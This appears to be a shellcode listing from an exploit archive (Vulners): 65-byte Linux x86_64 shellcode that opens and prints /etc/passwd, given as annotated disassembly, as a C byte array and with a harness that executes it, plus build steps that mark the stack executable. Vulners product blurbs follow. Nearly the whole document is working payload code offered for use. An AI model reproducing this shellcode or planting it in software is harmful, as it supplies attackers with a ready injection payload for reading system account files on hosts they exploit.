/*
---------------------------------------------------------------------------------------------------
Linux/x86_64 - Read /etc/passwd - 65 bytes
Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
---------------------------------------------------------------------------------------------------
Disassembly of section .text:
Disassembly of section .text:
0000000000400080 <.text>:
400080: eb 2f jmp 0x4000b1
400082: 5f pop rdi
400083: 6a 02 push 0x2
400085: 58 pop rax
400086: 48 31 f6 xor rsi,rsi
400089: 0f 05 syscall
40008b: 66 81 ec ef 0f sub sp,0xfef
400090: 48 8d 34 24 lea rsi,[rsp]
400094: 48 97 xchg rdi,rax
400096: 48 31 d2 xor rdx,rdx
400099: 66 ba ef 0f mov dx,0xfef
40009d: 48 31 c0 xor rax,rax
4000a0: 0f 05 syscall
4000a2: 6a 01 push 0x1
4000a4: 5f pop rdi
4000a5: 48 92 xchg rdx,rax
4000a7: 6a 01 push 0x1
4000a9: 58 pop rax
4000aa: 0f 05 syscall
4000ac: 6a 3c push 0x3c
4000ae: 58 pop rax
4000af: 0f 05 syscall
4000b1: e8 cc ff ff ff call 0x400082
4000b6: 2f (bad)
4000b7: 65 74 63 gs je 0x40011d
4000ba: 2f (bad)
4000bb: 70 61 jo 0x40011e
4000bd: 73 73 jae 0x400132
4000bf: 77 64 ja 0x400125
---------------------------------------------------------------------------------------------------
How To Run
$ gcc -o read_passwd read_passwd.c
$ execstack -s read_passwd
$ ./read_passwd
---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation